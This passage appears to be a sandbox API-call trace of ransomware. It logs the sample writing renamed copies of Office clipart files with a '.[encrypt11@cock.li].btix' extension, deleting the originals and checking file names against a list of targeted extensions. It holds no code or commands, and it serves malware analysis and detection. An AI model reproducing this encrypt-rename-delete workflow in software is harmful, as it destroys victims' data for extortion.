lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.619] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.619] SetEndOfFile (hFile=0x378) returned 1 [0157.625] CloseHandle (hObject=0x378) returned 1 [0157.626] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.626] SetEndOfFile (hFile=0x39c) returned 1 [0157.634] CloseHandle (hObject=0x39c) returned 1 [0157.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0157.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.635] lstrlenW (lpString=".doc") returned 4 [0157.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.635] lstrlenW (lpString=".docx") returned 5 [0157.635] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.636] lstrlenW (lpString=".pdf") returned 4 [0157.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString=".xls") returned 4 [0157.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.636] lstrlenW (lpString=".xlsx") returned 5 [0157.636] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.636] lstrlenW (lpString=".ppt") returned 4 [0157.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.636] lstrlenW (lpString=".zip") returned 4 [0157.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.636] lstrlenW (lpString=".rar") returned 4 [0157.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString=".bz2") returned 4 [0157.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString=".7z") returned 3 [0157.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.636] lstrlenW (lpString=".dbf") returned 4 [0157.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.636] lstrlenW (lpString=".1cd") returned 4 [0157.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0157.636] lstrlenW (lpString=".jpg") returned 4 [0157.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.641] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.641] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.643] GetLastError () returned 0x0 [0157.643] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3586, lpOverlapped=0x0) returned 1 [0157.662] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3590, lpOverlapped=0x0) returned 1 [0157.663] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.663] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.663] SetEndOfFile (hFile=0x3a0) returned 1 [0157.663] CloseHandle (hObject=0x3a0) returned 1 [0157.663] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.663] SetEndOfFile (hFile=0x378) returned 1 [0157.664] CloseHandle (hObject=0x378) returned 1 [0157.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0157.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.665] lstrlenW (lpString=".doc") returned 4 [0157.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.665] lstrlenW (lpString=".docx") returned 5 [0157.665] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.665] lstrlenW (lpString=".pdf") returned 4 [0157.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.665] lstrlenW (lpString=".xls") returned 4 [0157.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.665] lstrlenW (lpString=".xlsx") returned 5 [0157.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.665] lstrlenW (lpString=".ppt") returned 4 [0157.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.665] lstrlenW (lpString=".zip") returned 4 [0157.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.666] lstrlenW (lpString=".rar") returned 4 [0157.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.666] lstrlenW (lpString=".bz2") returned 4 [0157.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.666] lstrlenW (lpString=".7z") returned 3 [0157.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.666] lstrlenW (lpString=".dbf") returned 4 [0157.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.666] lstrlenW (lpString=".1cd") returned 4 [0157.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0157.666] lstrlenW (lpString=".jpg") returned 4 [0157.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.674] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.674] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.676] GetLastError () returned 0x0 [0157.676] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x668c, lpOverlapped=0x0) returned 1 [0157.679] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6690, lpOverlapped=0x0) returned 1 [0157.681] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.681] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.681] SetEndOfFile (hFile=0x380) returned 1 [0157.682] CloseHandle (hObject=0x380) returned 1 [0157.684] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.684] SetEndOfFile (hFile=0x354) returned 1 [0157.692] CloseHandle (hObject=0x354) returned 1 [0157.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0157.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.696] lstrlenW (lpString=".doc") returned 4 [0157.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.696] lstrlenW (lpString=".docx") returned 5 [0157.696] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.696] lstrlenW (lpString=".pdf") returned 4 [0157.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.696] lstrlenW (lpString=".xls") returned 4 [0157.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.696] lstrlenW (lpString=".xlsx") returned 5 [0157.696] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.696] lstrlenW (lpString=".ppt") returned 4 [0157.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.697] lstrlenW (lpString=".zip") returned 4 [0157.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.697] lstrlenW (lpString=".rar") returned 4 [0157.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.697] lstrlenW (lpString=".bz2") returned 4 [0157.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.697] lstrlenW (lpString=".7z") returned 3 [0157.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.697] lstrlenW (lpString=".dbf") returned 4 [0157.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.697] lstrlenW (lpString=".1cd") returned 4 [0157.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0157.697] lstrlenW (lpString=".jpg") returned 4 [0157.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.698] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.698] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.703] GetLastError () returned 0x0 [0157.703] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6624, lpOverlapped=0x0) returned 1 [0157.706] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6630, lpOverlapped=0x0) returned 1 [0157.707] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.707] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.707] SetEndOfFile (hFile=0x380) returned 1 [0157.713] CloseHandle (hObject=0x380) returned 1 [0157.713] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.713] SetEndOfFile (hFile=0x378) returned 1 [0157.717] CloseHandle (hObject=0x378) returned 1 [0157.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf")) returned 1 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.720] lstrlenW (lpString=".doc") returned 4 [0157.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.720] lstrlenW (lpString=".docx") returned 5 [0157.720] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.720] lstrlenW (lpString=".pdf") returned 4 [0157.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".xls") returned 4 [0157.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.721] lstrlenW (lpString=".xlsx") returned 5 [0157.721] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.721] lstrlenW (lpString=".ppt") returned 4 [0157.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.721] lstrlenW (lpString=".zip") returned 4 [0157.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.721] lstrlenW (lpString=".rar") returned 4 [0157.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".bz2") returned 4 [0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".7z") returned 3 [0157.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.721] lstrlenW (lpString=".dbf") returned 4 [0157.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.721] lstrlenW (lpString=".1cd") returned 4 [0157.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0157.721] lstrlenW (lpString=".jpg") returned 4 [0157.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.726] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.726] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0157.731] GetLastError () returned 0x0 [0157.731] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xa520, lpOverlapped=0x0) returned 1 [0157.735] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xa530, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xa530, lpOverlapped=0x0) returned 1 [0157.736] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.737] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.737] SetEndOfFile (hFile=0x39c) returned 1 [0157.741] CloseHandle (hObject=0x39c) returned 1 [0157.744] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.744] SetEndOfFile (hFile=0x368) returned 1 [0157.747] CloseHandle (hObject=0x368) returned 1 [0157.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf")) returned 1 [0157.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.748] lstrlenW (lpString=".doc") returned 4 [0157.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.748] lstrlenW (lpString=".docx") returned 5 [0157.748] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.748] lstrlenW (lpString=".pdf") returned 4 [0157.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".xls") returned 4 [0157.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.749] lstrlenW (lpString=".xlsx") returned 5 [0157.749] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.749] lstrlenW (lpString=".ppt") returned 4 [0157.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.749] lstrlenW (lpString=".zip") returned 4 [0157.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.749] lstrlenW (lpString=".rar") returned 4 [0157.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".bz2") returned 4 [0157.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".7z") returned 3 [0157.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.749] lstrlenW (lpString=".dbf") returned 4 [0157.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.749] lstrlenW (lpString=".1cd") returned 4 [0157.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0157.749] lstrlenW (lpString=".jpg") returned 4 [0157.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.750] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.750] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0157.751] GetLastError () returned 0x0 [0157.751] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6f9c, lpOverlapped=0x0) returned 1 [0157.847] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6fa0, lpOverlapped=0x0) returned 1 [0157.849] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.849] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.849] SetEndOfFile (hFile=0x3a0) returned 1 [0157.854] CloseHandle (hObject=0x3a0) returned 1 [0157.855] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.855] SetEndOfFile (hFile=0x368) returned 1 [0157.857] CloseHandle (hObject=0x368) returned 1 [0157.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198372.wmf")) returned 1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString=".doc") returned 4 [0157.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".docx") returned 5 [0157.859] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.859] lstrlenW (lpString=".pdf") returned 4 [0157.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".xls") returned 4 [0157.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.859] lstrlenW (lpString=".xlsx") returned 5 [0157.859] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.859] lstrlenW (lpString=".ppt") returned 4 [0157.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198372.WMF") returned 68 [0157.859] lstrlenW (lpString=".zip") returned 4 [0157.859] lstrcmpiW 